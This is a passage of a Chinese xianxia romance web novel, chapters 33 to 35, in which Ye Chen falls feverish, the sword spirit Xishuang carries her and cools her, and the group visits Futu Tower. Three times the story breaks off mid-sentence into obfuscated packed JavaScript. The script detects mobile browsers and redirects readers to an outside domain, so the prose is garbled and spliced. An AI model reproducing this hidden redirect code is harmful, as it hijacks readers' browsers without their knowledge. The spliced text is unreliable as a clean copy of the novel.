她一笔一划地练字,愈发沉默,在苏二快要病死的时候,又翻出这本手札,沉默良久,最后一个人去浮屠塔盗出佛宝,想找到救他的办法。 她印象里,佛宝是一座金碧辉煌的塔,仿佛浮屠塔的缩小版,很重,她揣着它逃出浮屠,又往南跑,半路才发现它是假的,根本回答不了任何问题。 她如遭雷击,站起又坐下,重复数次,最后张开嘴,却说不出一句话。 叶琛那时还想,她拿走了假的佛宝,那真的在谁手上?是谁做了个局,就是为了偷走佛宝然后嫁祸给她? 不知道,她那时候什么都不知道。 她只是夜晚翻来覆去地梦到无常鬼的计簿,和烧红的镣铐,第二天醒来又要抱着假佛宝躲避追杀,逃着逃着,她有时候也会想,要不逃去苍云山吧,万剑阁外的剑阵认得她,已经不会再拦她了。 每次这念头浮出来,又会马上被叶琛否决。 她不想自己亏欠的人又多出一位。 她也至死都不知道,原本世上根本没有什么佛宝。 佛宝,就是一堆骨头啊。 真相如此荒谬,她却为了这堆荒谬奔走千里,死不瞑目。 叶琛胸口有些闷,脸色灰白,扶着墙大口大口喘气,却怎么都喘不过气,最后感觉有人轻轻拍了拍她的背,像是对小孩子的拍法,不知道从哪里下手,又怕弄疼了她。 她慢慢直起身,从脚底板到天灵盖都钝钝的痛,耳边像是隔了一层,隐约听见小和尚和老僧都在喊她姑娘,慌乱中,她不知道抓住了什么,没有温度,和她的手一样冰。 最后清醒过来,才发现自己在一间禅房里,屋里没什么摆设,只桌上有盆不老松。叶琛从床铺上爬起来,盯着桌上的盆景看了一阵,才后知后觉想起自己在哪里。 即便如此,叶琛脑子仍然有些懵,视线在屋里茫然地转了一圈,发觉屋里并不只她一个人。 另一人冰雕一般坐在窗边,至始至终没有说话,见她醒来,也只是往她这边淡淡看了一眼,又缓缓收回目光。 叶琛看着他,又有些不太确定了,话在嘴边兜兜转转,没能说出去,等到洗霜先开了口,目光轻轻落在她身上:“醒了?” 叶琛愣了下,随即点头。 她坐在床榻上,鞋子还没来得及穿好,洗霜侧过脸,目光扫过她煞白的脸、汗湿的衣襟、赤.裸的足,没来由皱起眉,又是看起来不太高兴的样子,叶琛看着他脸色开始不好看,心里想到点什么,犹豫道:“对不住,我方才不是故意抓住你的。” 她还想说点什么,就看到洗霜眉尖一蹙,转过脸,嗓音清淡:“我没在意。” 叶琛:“......” 明明就很在意吧。 叶琛觉得自己或许是从一场大梦中醒来,昏昏沉沉的,不由自主就说了许多话:“我当初被人追杀,想去苍云山躲一躲,但是又怕给你惹麻烦,但思来想去,除了闲云宗和苍云山,我也不知道去哪,只好到处躲。” “后来没有办法,被困在山谷里的时候,我就想着至少我死了,你会少一桩麻烦。” 洗霜皱着眉:“你死在外头,才是给我惹麻烦。” 叶琛点了下头,却道:“总之我是个麻烦,但我又不想太麻烦你,我身上那么多缺点,却有一条很显著的优点——我从不坏账。” 叶琛笑了笑,露出八颗洁白的牙齿。 洗霜目光轻轻扫过她脸上的笑容,神色变化一瞬,转过脸去:“你也不算那么麻烦。” 不算那么麻烦? 叶琛眼皮愈发沉,心想,那还是麻烦了,只是没有“那么”的麻烦。 洗霜在一个地方呆久了,周遭都会被寒气笼罩,叶琛看到窗棂渐渐覆上一层白霜,吞了吞嗓子,慢吞吞道:“其实你是对的,苏二不是什么好东西,他骗了我,但是我觉得就算重来一遍,我还是没有办法。” 叶琛:“我怕我欠了他的,不还清,日后到了地下他还是要找我来讨的。” 话音刚落,她看到洗霜目光轻轻地飘过来,转过脸,眼中罕见地有些犹疑。 他眼睑收了收,冰蓝色的眼珠浸了雪意一般,不说话时就是座生人勿近的冰雕,一开口,却刻毒极了。 他认真瞧了她一会,有些疑惑地问:“你都知道是他害了你,还是要去信他,叶琛,你是这几日都未曾睡觉,把脑子弄坏了吗?” 叶琛:“......” 熟悉的语气,熟悉的刻薄。 但是叶琛此时却不太生气,甚至在某种程度上她是赞同洗霜这句话的。 在来浮屠塔之前,即使怀疑过苏二接近她是图谋不轨,但可能和确定,是两码事。 叶琛其实不那么愿意相信,她曾经当同伴看待的一个人,从头到尾全在算计她。 所以真相猝不及防从小和尚嘴里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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叶琛整个人都贴在这块冰上,来不及去想滚烫的水底为什么会有一块冰,还比她都大,只想更深地、更长久地把自己嵌到这块冰里去。 慢慢地,叶琛又感觉自己眼睛湿湿的,脸颊也流下一道道水渍,睁眼一瞧,顿时呆住了。 这块冰在沸水中沉了许久,没融化,却好像要被她捂化了。 ...... “麻黄三钱、桂枝二钱......拿回去煎服,早晚一次,老夫上次才给这姑娘看过吧,怎么又病了,她年纪小不懂事,你也不懂事吗?” 叶琛刚睁开眼,就看到这极为稀奇的一幕,昨日刚看过的大夫板着脸教训人,被教训的这位,不是洗霜是谁? 洗霜站得离她很近,她半睁着眼,瞥见他一声不吭地听着老郎中教训人,似乎很习惯这种场景。 然而很快,他忽然转过头来,抓住了叶琛睁开一半的视线。 “......” 这就有点尴尬了。 洗霜眼睑微微抬起,提醒她:“手。” 叶琛这才发觉自己一直攥着他的手,经他提醒一下子松开,又下意识抓住他。 叶琛眨眨眼,说话带点鼻音:“你现在走?” 洗霜多看了她几眼,确定她此时大概醒着,抿了下唇,最终放缓语气:“你发烧了,打算在医馆住一夜?” 外面不知何时已经全黑了。 医馆早就该打烊,但看在这位冷冰冰的客人随手拿出的金锭份上,一直等到叶琛醒来才开始收拾东西。 叶琛挪了下屁.股,从床上坐起来,果然全身关节都在痛,刚醒来时那点没来由的懊悔褪下去,她松开手,很干脆地跳下床—— 然后果不其然地崴了脚。 洗霜捏了下眉心,望着蹲在地上抱着自己的腿叫唤的叶琛,顿了顿,开口:“上来。” 叶琛猛地抬头。 这位剑首转过身去,在她面前蹲下,只留给她一截雪白的背影。 ??? 叶琛望着眼前的人,震惊极了。 大哥你有点......崩人设了吧? 叶琛还在犹豫,往前跳了半步又打住,就听到洗霜再次开口:“不背?那抱。” 33. 九 眼看他就要站起来,叶琛赶紧道:“背背背!!不要抱!!” 她生怕他真的要一路抱着她回去,两下跳到洗霜背上,双手勾住他脖颈,曲起脚,整个人就这样挂在他身上。 离开医馆好一会儿,叶琛还是很难相信这件事,有点别扭地趴在洗霜背上,许久,才闷闷地问:“我觉得差不多了,你把我放下来,我自己走。” 她感觉背她的人顿了下,凉凉道:“然后你再崴一下,疼得满大街都能听到?” 叶琛:“......” 倒也不至于。 其实刚才从床上跳下来,也没那么痛,疼痛百倍的事情她也经历过,如果是一个人,她就咬着牙认了,但是如果和洗霜一道,一点皮外伤她也爱装一装。 这心理很微妙,没人在乎,再喊疼也没用;但有人在乎,就是会哭的孩子有糖吃。 叶琛大多时候会选前者,当有泪不轻弹的侠士多威风,但或许是和洗霜认识得太早,她还没学会怎么威风呢,各种狼狈的样子就被他看了个彻底。 所以叶琛就索性摆烂了。 背着她的人很稳当,叶琛几乎感觉不到颠簸,淡淡的月光落在他发梢、肩头,如薄雾如细雪,叶琛恍惚间伸出手,接了满手的霜。 她翻转手掌,任霜雪纷纷扬扬落下去,说话没什么力气:“你要背我就背我吧,我只怕太麻烦你,其实我只有一只脚崴了,另一只脚还是可以走的。” “大不了,我就跳回去。” 她补充道。 洗霜忽然停下来。 月亮不动了。 叶琛感觉自己被一点一点放到地上,然后脚还没沾着地,就被一只坚硬冰凉的手抱起,几秒不到的功夫,她被换了个姿势抱着。 她听到自己头顶传来一声很轻的叹息,洗霜眼睑微微垂下,目光落在她乌黑的发旋上,没看她的脸,声音融在漫漫长夜里:“你好吵。” 叶琛抬起头,与他对视:“那你就更不该抱着我,让我自己走,或者......” 她还没说出这个或者,就看到洗霜微微蹙起眉,神色不定地看着她,直接了当:“叶琛,我还是搞不懂你,你在医馆崴了脚喊痛,不就是希望我帮你,我背着你,你却又不愿意。” 洗霜转开眼,眉目间有些烦躁,但感觉到叶琛身上灼烫的温度,又缓缓把这点烦躁压下去。 他抿了下唇,又道:“算了,我去找辆车。” 叶琛拽住他。 叶琛深吸一口气,说:“不用,这太麻烦你了,我不想给你添这么多麻烦。” 也不想亏欠你这么多。 叶琛感觉脑袋又开始发烫,眼皮沉重起来,黑色的星星绕着她打转。 她抬起手,想抓住那颗黑星星,没抓到,却碰到了洗霜的睫毛。 他面无表情地眨了下眼,叶琛想笑又忍住,讪讪收回手。 “我没觉得麻烦,”洗霜没管叶琛方才说的话,一只手捞着她,一只手摸了摸她额头,脸色一下子不太好看,“怎么又这么烫。” 叶琛迟疑着说:“可能又烧起来了,发烧就是这样的,反反复复,没完没了。” “那怎么办。”她隐约听见他问。 叶琛想了想,回答:“降温,吃药,睡一觉发一身汗,可能就好了。” 洗霜顿了下,一只手抱着她,一只手轻轻搭在她额头上,加快了脚步。 叶琛回到客栈的时候,额头上的温度已经降下来,脸颊就愈发酡红,韩子仪见了,袖着手道:“怎么竖着出去,横着回来,惹上谁了?” 叶琛还没说话,抱着她的人先开了口,语气平淡:“她发烧了。” “哦。”韩子仪伸出白骨爪子试了下叶琛脸颊的温度,挠得叶琛迷迷蒙蒙地觉出点痒,“嘶,这么高的温度,哪里是发烧,我看要烤熟了——你,就任由她这样烧着?” 韩子仪不太满意地看着洗霜。 洗霜抿了下唇:“她说,降温,吃药,睡一觉发一身汗,我正打算送她上楼。” 回来路上,叶琛烧得又睡了过去,洗霜身上又太凉太舒服,她又没什么约束自己行为的自觉,不由自主地就将手臂绕上了人家脖颈,脸红得像玄凤鹦鹉。 洗霜并不明白她为什么要越贴越近,正如他不明白为什么先前她明明想让他帮她,却又如此别扭,只能归结于他不了解人族的行为模式,叶琛又善变极了。 韩子仪目光扫过眼前人头脸、衣襟、佩剑,最后停在对方那张无可挑剔的脸上,语气有规劝的意味:“你总不能听她说是什么就是什么,她要上灵山,你也任她上?” 洗霜沉默了几秒,而后道:“我跟着她。” 韩子仪:“......” 行吧。 你们剑修一个比一个莽,他韩子仪是一把年纪了,随你们小年轻去折腾。 反正晚上睡不着和只能睡树上的又不是他。 韩子仪轻轻摇头,道:“那你好歹也该给她降降温,阁主,我说句不好听的,她这个温度烧下去,要不是一直贴着你这块玄冰,早烧冒烟了。” 洗霜微微蹙眉,低头看了一眼叶琛烧得通红的脸,虚心请教:“如何降温?” 韩子仪:“你不是已经知道了吗?” ...... 叶琛这晚意外地睡得很沉。 她烧过许多次,前世破境时几乎每次都会发烧,她怕有人趁虚而入,一般找个没人的地方消失四五天再回去,对外的说法就是出去野了。 其他人都信,只有洗霜不信,他觉得她是出去找人打架了。 洗霜的猜测倒也站得住脚,因为叶琛每次破境回来,身上的衣衫因为灵力冲撞破破烂烂,脸色也不太好看。 但是他那天一反常态地没有教训她,反而让她背过身去给她上药,寒凉的触觉点在细密的伤口上,有镇痛的奇效。 此时叶琛后背又传来那种寒凉的触觉。 非常熟悉,熟悉到她一睁开眼,又看到自己卧在水底沸腾的冰床上,双臂环绕着冰块,表面不断升起细小的气泡。 但冰块却没有越来越小,叶琛疑惑了一会儿,没想出所以然来,干脆心安理得地趴在了上面。 * 洗霜觉得自己是真的要融化了。 他有点困惑地抱着叶琛,尽量让她和自己贴着的部分扩大,韩子仪给的办法确实很有效,叶琛身上的温度很快就降下去了。 虽然这建立在将他作为降温工具的前提下。 但洗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965072|153757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霜不太在意这点,他是剑灵,剑本身就是器皿,他像使用剑一样使用自己,也不认为此时不能兼任一会儿降温工具。 就是叶琛的“一会儿”未免太久了。 她躺在他身上,很快反客为主地抱住他,手臂绕颈而过,发出舒服的喟叹。 洗霜听到她嘴里含糊冒出几个词,似乎是“好凉”、“冰块”、“泡泡”。 叶琛睡着了,似乎还在做梦。 这个认知让他将叶琛从自己身上挪下去的时候,动作不由轻了许多。 但叶琛显然不是个很会体谅别人难处的人,洗霜这边动作放慢,她就堂而皇之地蹬鼻子上脸,手脚齐用地扒在了洗霜身上。 洗霜:“......” 这下更分不开了。 他缓了缓,移开眼,极力忽略身上灼烫的触感,温热的呼吸喷洒在他颈侧,像春天湿草地里探出头的狐狸。 那狐狸高傲地从他身边经过,然后猝不及防咬了他一口。 在他手背留下属于犬科动物的咬痕,和连绵不绝的霜花纹路。 从指尖开始,殷红的霜花痕迹一路向上蔓延,腕骨、关节、手臂......最后在颈侧绕了一圈,像红色的项圈。 叶琛并不清楚她给别人带了多大的困扰,她只觉得自己的抱枕太硬了,骨碌碌滚了一圈,松开手,在“抱枕”一侧轻轻咬了一口。 “......” 半晌,叶琛终于被单独放回床上,她怀里被塞了一把剑,用来替代她先前强行扒住的人。 洗霜原本打算把她送上楼就走,但现在他身上被她搞得乱七八糟,又怕叶琛晚上再烧起来,等到天边泛起鱼肚白,才退出房间。 离开之前叶琛还是睡得很沉,呼吸清浅而绵长,让人想起露珠和翠绿翠绿的草叶。 叶琛这一觉一直睡到天亮,直到韩子仪上来敲她的门,她才发觉自己额头已经不烫了,怀里还抱着一把剑。 是洗霜的剑,剑收在鞘里,剑鞘竟然被她捂得有些热。 韩子仪试了试她脸颊的温度,还算满意:“我还以为今早上来,会看到一团烧焦的叶子。” 叶琛抱着剑,呆愣愣的,脸被戳了几下也没反应,脑子里飞快闪过昨夜浮光似的碎片,等反应过来自己干了什么时,脸已经埋在了膝盖里。 她昨夜到底做了什么啊!! 她好像在洗霜送她回客栈的时候,拿人家当冰袋硬贴着降温。 她还缠在人家身上不让人家走。 天知道她那时候只以为自己抱着一块冰床,脑子热迷糊了,谁会想到那是洗霜啊! “......” 叶琛慢慢抬起头,又想到,就算她神智不清醒,可洗霜脑子是清楚的啊,她扒着他不放,他不会挣开吗。 对,这是洗霜的问题。 叶琛立马下了决定,今天如果再见到洗霜,他如果不提这段也就算了,如果提起,她就先质问他昨晚为什么不放她下来。 她冷静地把这事来回想了一遍,顿时觉得自己很有道理。 这时,韩子仪光秃秃的指骨又戳了戳她的脸蛋,纳闷道:“诶,原本温度是降下去了的,现在怎么又烫起来了。” 叶琛:“......” 34. 十 叶琛一把扒开韩子仪戳来戳去的爪子,瞪他:“前辈,你好不端庄!” 韩子仪收回手,无所谓道:“我都死了好多年了,要端庄干嘛。” “倒是你,”他斜斜睨了她一眼,“昨晚恨不得整个人扒在人家身上的,可不是我。” 叶琛:“......” 为什么连韩子仪都看到了? 这下丢脸丢大发了! 但叶琛这个人呢,有个特长,用万剑阁阁主的话来说,就是记性真的不太好。 即使她自己从不这么觉得。 所以等到她收拾整齐下楼,脑子里那点“丢脸”已经忘得差不多了,直到下到一楼,看到洗霜在一张桌子边等她,脑子里的预警才重新上线。 洗霜试了试她额头的温度,淡淡点头:“退烧了。” 他的手凉得像冰一样,不,就是冰,叶琛后知后觉想起这一点,就忍不住抬头仔细端详他的神色。 他还是没什么表情,从昨夜开始,他主动背她,后面改成抱,再后面的事情她就记不太清了,洗霜一直都是这副神情。 就像什么事都没发生过一样。 可是,这不应该啊。 洗霜什么脾气她还不清楚,不把她丢在医馆已经算是仁至义尽了,怎么可能背她回来? 他被夺舍了吧??还是说她昨夜烧得太重产生幻觉了?? 洗霜可是连别人离得稍微近一点,都要皱眉的。 叶琛愈发怀疑昨晚是自己的臆想,连带着她脑子里那点浮光掠影的丢脸实录,可能都是她烧坏脑子的幻觉。 她带着这点幻觉和洗霜离开客栈,往浮屠塔走,却在中途被忽然跃进眼帘的三个人打破了思绪。 季知年也很意外会在大街上碰见她,连声喊“叶道友叶道友”,才把叶琛的魂喊回来。 叶琛回头一看,才发现季知年、宋以安刚从同一家客栈里出来,和他们一道的,还有被所有人忘记的灵犀。 叶琛:“......” 她就说从灵山下来的时候,总感觉少了点什么,但是当时只顾着担心洗霜和季知年提到的事,根本没想起是少了个人。 灵犀倒是一点不在意,笑嘻嘻地凑过来,挤进她和洗霜中间:“哎呀阿珍啊,我在灵山下等了一夜,看见你的时候还想喊你,你就和那个天音楼的谁,一溜烟就没了,跑得比兔子还快!” 叶琛舔了舔唇,不可思议:“你?没被抓上山祭阵?” 灵犀笑了几声,理所当然道:“你也太小瞧我了!我当时跟着天音楼那帮弟子上山,走得脚痛,找了个山洞歇息,歇着歇着睡着了,然后再醒过来,天亮了,秘境也解啦。” 叶琛:“......那我确实小瞧你了。” 也不是谁都能有随地大小睡的本领的。 灵犀一见叶琛神色,就知道她在想什么,摇了摇头:“阿珍,你猜我醒来时,碰见了谁?” 叶琛顿了顿,最终礼貌回复:“谁?” “一堆光头和尚!”灵犀绘声绘色道,“你不知道!浮屠塔这群和尚真不够意思,明明就在山下念经,看到我们误入他们的秘境,什么也不说,就让人干着急!” 灵犀:“我看他们就是故意的,一群秃子悠闲得和什么一样,净看我们出洋相,这次斋会浮屠要是没什么表示,我第一个不同意。” 许多修士愿意千里赶赴浮屠斋会,不止是为传说中的飞升机缘,还有一点是因为浮屠一向会在斋会上免费发放丹药和一些低级法器。 浮屠塔背靠佛圣,在丹修、器修式微后接纳了许多来自五湖四海,所修之道殊异的修士,是以外面很难找到的丹修器修,却在浮屠城安家,这里的丹药法器都比外面便宜。 灵犀这话,无疑是在暗示叶琛,不要急着走,浮屠为了安抚来这里的修士,八成这次斋会会多发点鸡蛋,不是,丹药。 听完灵犀的话,叶琛却没什么高兴的神情,她收敛神色,缓缓道:“你是说,韩子仪在山上招魂的时候,浮屠塔的佛修们,就在山下看着?” ...... 与此同时,浮屠塔。 浮屠塔的守塔人白天守塔,晚上推着推车走街窜巷卖糖画,是浮屠城公开的秘密。 甚至他卖的糖画比守塔人这个身份更为出名,毕竟浮屠城的居民也就过年时去拜一下塔,但没有人不曾吃过老僧的糖。 慧能对此很不理解,他觉得师父守着佛圣在人间的遗迹,讲出去多风光啊,但卖糖画的,听起来就和开客栈的卖猪肉的没什么两样。 他见师父如此不求上进,自己就暗下决心要干出一番大事业来,前几日,佛宝佛光大炽,当时正好是慧能值守,亲眼看见了他此生都难以忘记的景象。 终年低眉垂目的佛像完全睁开眼,温和醇厚的声音传入他灵台,直贯三花。 佛圣要他去做两件事。 第一件,封闭浮屠城往外通道,已经进来的修士不能出去,外头的修士也不能再进入浮屠地界。 第二件,佛宝一分为三。 这第二件事还好办,拿三个钵子分装就是了,但第一件事,就有些麻烦了。 但慧能是个不怕困难的小和尚,他一看师父那副万事不挂心的样子,就放弃了和师父通气的想法,干脆一不做二不休,在交通干道上设下陷阱,直接把人拦在浮屠之外,同时他还想了个好办法,佛圣不让人离开浮屠,那直接城门戒严不就得了。 想法是好的,但实施过程中出了一点问题。 小和尚拦得住地上跑的,拦不住天上飞的,更拦不住开传送法阵烧灵石进来的。 所以事情发展到后面,就成了浮屠界内,有的没的全被秘境吸了进去,慧能只好带着一帮和尚在灵山等事情结束。 慧能心里也隐隐有猜测,佛圣在这个节骨眼打开秘境,还事先做了清场工作,所求为何? ——只能是为了被囚禁在灵山五百年的那位法修前辈了。 老僧不知道慧能脑子里一瞬间动过这么多心思,只在旁边垂着眼熬糖浆,糖浆熬至金黄,散发出浓稠的蜂蜜甜味,慧能才转过头问自己师父:“师父,佛圣这是个什么意思呢?佛宝虽然被外面传得神乎其神,但我们知道,那只是佛圣留下的舍利而已,又不像昨天那小姑娘说的,还回答一切问题,要真能这样,哪里是佛宝,只能是佛圣显灵了。” 佛宝被供奉在浮屠塔,慢慢地便传出去一种说法,佛宝是佛圣遗物,蕴含飞升的大机缘。 可浮屠塔的人知道,佛宝供奉在浮屠塔的原因,单纯只是佛宝和浮屠塔都是老僧守着,老僧嫌麻烦,干脆把东西放在浮屠塔保管了。 老僧没有回答,慧能还不死心,绕着他转了好几圈:“师父?师父??” 老僧只好搁下汤勺,抬眼道:“佛圣......自然有佛圣的道理。你还小,何必操心?” 这就让慧能生出点不服气来,他道:“那当年四圣崭露头角的时候,也是我这么大呢。” 老僧淡淡笑了下,用那种慧能不太理解的眼光看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14976418|153757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他,许久才道:“也好,年轻人是和我们这些老东西不同的。” ...... 最后叶琛和一大帮人组团来了浮屠塔。 原本她身边只有洗霜,但是路上遇见了季知年几人,在季知年住的客栈门口聊了一会儿,转眼身边就又多了一大群天音楼的人。 季知年几人和天音楼下榻的是同一家客栈,两边人随口交谈几句,发现目标竟然是同一个——都是浮屠塔。 虽然之前在灵山两边人闹得不太愉快,但众目睽睽之下,总不能在浮屠的地界大打出手,于是两边都拿出了平生最好的演技,打架打不了,就力图在气势上压过对方。 季知年几人不知怎么就被自动划分到万剑阁的阵营,看着昨日还算和蔼的天音楼弟子对自己吹胡子瞪眼,百思不得其解。 但说起来,他也确实和叶琛更熟稔些,摇了摇头,走到叶琛身边道:“久闻浮屠塔大名,我今日是第一次来,不知道传言中的佛宝是否真有那么神奇。” 叶琛在浮屠塔前顿住脚步:“那你恐怕要失望了。” 季知年:“?” 他眨眨眼,转头看向叶琛,希望她能多解释几句,怎么就要失望了呢? 叶琛却也转过头看向另外一人,洗霜感觉到她在看他,微微侧过脸,目光是询问的意思。 叶琛抿了下唇,压低声音:“灵犀说浮屠塔的人那时候就在灵山脚下,我怀疑他们应该知道点什么,韩子仪这事,我左思右想,总觉得有点不对劲。” “等会进去,我估摸着那几个和尚又会拦着我们,到时候你帮我掩护一下,我......” “你打算溜进去。”洗霜听了个开头就明白了她的意思,侧过脸道,“你......算了,你小心一点。” 叶琛笑了笑:“我一定小心些,不被人家撵着打,给你丢脸。” 洗霜蹙了下眉,抿唇:“我在,不会。” 叶琛愣了下,还没反应过来,就感觉脸颊被冰了一下,洗霜碰了下她的脸就收回手,淡声道:“看来烧是退了,我只希望三日内我不用进三次医馆。” 叶琛明白过来,拍着胸脯保证:“肯定不用!我你还不知道,断了骨头一晚上也就长好了!何况只是烧一晚上......” 在洗霜越来越冷的目光里,叶琛声音慢慢弱下来,后知后觉,她好像又惹他不高兴了。 她听到对方嗤笑一声,对她道:“你当然可以随便保证,反正你一贯如此,谁的话都不会听。” 叶琛连忙道:“我哪有!我是这种不顾旁人死活的人吗?” 洗霜安静地看着她,像一种无声的控诉,叶琛有点受不了他这种目光,倏尔移开了眼,也不说话了。 两人沉默相对片刻,最后季知年打了圆场:“叶道友?剑首?要不我们先进去?” 叶琛转过头,深吸一口气:“嗯,进去吧。” 再和洗霜这样僵持下去,她怕又会吵起来。 可她和洗霜私底下怎么吵是他们的事,在这么多人面前吵,算怎么一回事? 再者,叶琛觉得自己也没那么想和洗霜吵了。 虽然不太清楚洗霜行为的动机,但她做不出前天还承了人家的情,转头就忘得一干二净的事。 她低着头往前走,其他人都被她落在后面,迈过浮屠塔门槛时,身后有人喊她名字。 “叶琛。”那个人喊了她好几遍她才听到,有点无何奈何的意思,“不是要帮你掩护?你走这么快,我怎么帮。” 35. 十一 叶琛顿住脚步,一只脚已经迈过去,正好卡在这么一个尴尬的位置。 收回脚,感觉落了下风;这么站着,也不是个事。 叶琛还有点不高兴洗霜对她的污蔑,心想她就这么站在这又怎么了,洗霜先开的口,就该他走到她这边来。 结果洗霜真的走了过来。 叶琛感觉面前拂过一阵寒意,抬眼,那双剔透的冰蓝色眼瞳一错不错地望着她,叶琛从里面看到了一丝疑惑。 “叶琛。” 他顿了顿,开口。 “说你忘性大你又不高兴,但你连片刻前说过的话都能忘掉,要我怎么说。” 叶琛眨了下眼,心里那点不服输的劲又上来:“说法有很多啊!你看,谁像你一样出口不是罚就是训的。” 叶琛仿佛抓住了一个突破口,滔滔不绝:“洗霜,讲道理,虽然你比我是大上个几百岁吧,但你既不是我师父也不是我师兄,老想当我长辈就很无聊了。” 叶琛一连串说完,就瞥见洗霜显而易见地皱起了眉,顿时心下要糟。 要命,怎么把心里话倒出来了,你平时嘴不是很严的吗叶琛! 叶琛舔了下唇,舌苔刮过干燥的死皮,刺刺地疼,她此时又生出另一种想法——如果能就此分开,她也不再给洗霜添麻烦,不失为一桩好事。 她想到这里,忽而抬眼,想看洗霜的反应。 他生得比她高些,如果不刻意俯下身,她要仰着头才能看清他的脸。 而此刻,那张脸微微泛起红,这红与其说是愠怒,更像是某种情绪积累到了极点,所透出的生气。 叶琛惊疑不定地望着他脸上那点生气,有点拿不准他的意思。 恼怒?不像。 吃惊?可是谁吃惊嘴都不带张一下的? 洗霜抿了下唇,鸦黑的睫羽下压,语气起伏不定:“罚?训?” 他似乎觉得好笑,又觉得不可理喻,停顿片刻,掀起眼皮,凉凉道:“那你说,我怎么对你才好?怎么才不是罚,不是训?” 叶琛完全没想到他是这个反应,顺着他的话,试探着说:“那,和罚相对的,当然是夸,是奖啦。” 这话刚出口,叶琛就觉得好笑,这话说得好像她在和洗霜讨要奖励一样,但是这未免也太幼稚了。 可洗霜似乎不觉得幼稚,甚至给足了叶琛时间思考,颇有她不说清楚就不放过她的意思,叶琛顿时如芒在背,就在她有些不知如何是好的时候,背后传来了一道苍老温醇的声音。 叶琛心里莫名松了口气,回头一看,老僧站在门槛后一处转角,不知已经看了她多久。 见被发现,他也不觉尴尬,从角落里走出,眉弓舒展:“姑娘,你这是来......给老和尚拜年吗?” 他望向叶琛身后一大群人,意味深长道:“人还不少。” 叶琛砸吧了下他的语气,觉得这怎么也不能算个和善的开场,于是提起另一只脚越过门槛,又把洗霜也扯进来,才说话:“法师道法高深,我自然不敢拜您的年,但是远道而来,又被意外卷入佛圣的秘境,纵心中有诸多不解,也不敢在佛前造次,只想在佛像前敬一炷香而已。” 她边说边用余光瞥洗霜,希望他能明白她的意思,但是她一看过去,他就移开了目光,就像在和她闹脾气一样。 慧能看见了,十分不解:“小施主,你和我师父说话,却看着别人做什么,你眼睛出了毛病吗?” 叶琛的眼睛当然没毛病,可正是因为没毛病,还把洗霜此时的神色看得一清二楚,她才有些懊恼的想,完了,她又惹他生气了。 老僧平静道:“那便随我来吧。” 叶琛的心思还没完全收回来,闻言一愣,抬起眼:“啊?” 老僧却已经转身朝寺内走去了,慧能也有些愣,但反应快些,追着老和尚,跑在叶琛前面。 叶琛挠了挠头:“......诶?” 还以为一定要费很多功夫呢,这就直接让她进去了? 她的袖角被一只修长的手扯了扯,见她仍然愣在原地,洗霜才再次开口:“或许我该再去一趟医馆。” 叶琛抬起头,看见洗霜方才那种不太高兴,有点像生闷气的神色已经不见了,心下不解:“......为何?” 洗霜顿了下,才道:“我不知道,发烧是不是真的会把脑袋烧坏。” “......” 叶琛眉头一拧,顿时抽出被扯住的袖角,追上前面两人,远远抛下,“谢谢,不会。” 她身后,洗霜并没有马上跟上去,他安静地思考了一会,缓缓道:“不会吗?” 他摊开手掌,殷红的霜花纹路爬上掌心,那种烧灼的痛感又在骨髓中隐秘地蔓延,而这种症状似乎是在昨夜之后开始的。昨夜他送叶琛回客栈,又被她强制当了一夜冰袋,明明是寒冬腊月,他却在她发间闻到了春天湿草地的气息。 好奇怪。 也许他是被传染了疾病,听说人族的喷嚏和哈欠一样容易传染,发烧应该也是如此。 洗霜望着叶琛越来越远的背影,忽然有些明白人族疾病的威力。 ...... 叶琛跟着老和尚来到浮屠塔前,这里还是和她记忆中一样,没什么人值守,老和尚态度很随和,慢慢地,叶琛也就不再拘谨,东张西望起来。 浮屠塔一共有三扇门,慧能指着塔侧,很是骄傲地说:“你别看每扇门都开着,要不是我师父带你来,你别想进去,你可知为何?” 他说完就等着叶琛问为什么,好过一把“小师父”的瘾,但等了许久叶琛也没有开口,他挠了挠头,好生奇怪,只好自问自答:“好吧,是因为浮屠塔周围是无法使用法术的,什么御剑飞行,悬空飘浮,到了这里统统不管用。” 叶琛点了点头,这点她当然知道,当初还吃过这份苦头,对这件事反而不感兴趣,问道:“那从正门走呢?如果有人剃了头发披上袈裟,大摇大摆进去,可以吗?” 慧能嗤笑一声,随手捡了粒石子往塔内扔去,石子还没碰到门就被一堵无形的气墙截下,四分五裂。他才道:“当然不行,这颗石子的下场,就是闯入者的下场!” 那颗石子正好砸在老和尚面前,他顿了下,回头淡声道:“慧能。” 慧能脸上那种屑屑的神情就马上消失了,双手在胸前合拢,老实巴交道:“对不起,师父。” 叶琛:“......” 行叭。 老和尚先一步进入塔内,慧能跟着进去,还招呼叶琛跟着进来:“小施主,我师父暂时解除了浮屠塔的禁制,你还不快进来!” 叶琛在门槛处停下脚步,回头看了一眼,看到那道白色身影越来越近,心里转圜了下,没有等他,追上前面的老和尚,亦步亦趋道:“浮屠塔外面看着寻常,内里竟如此复杂。” 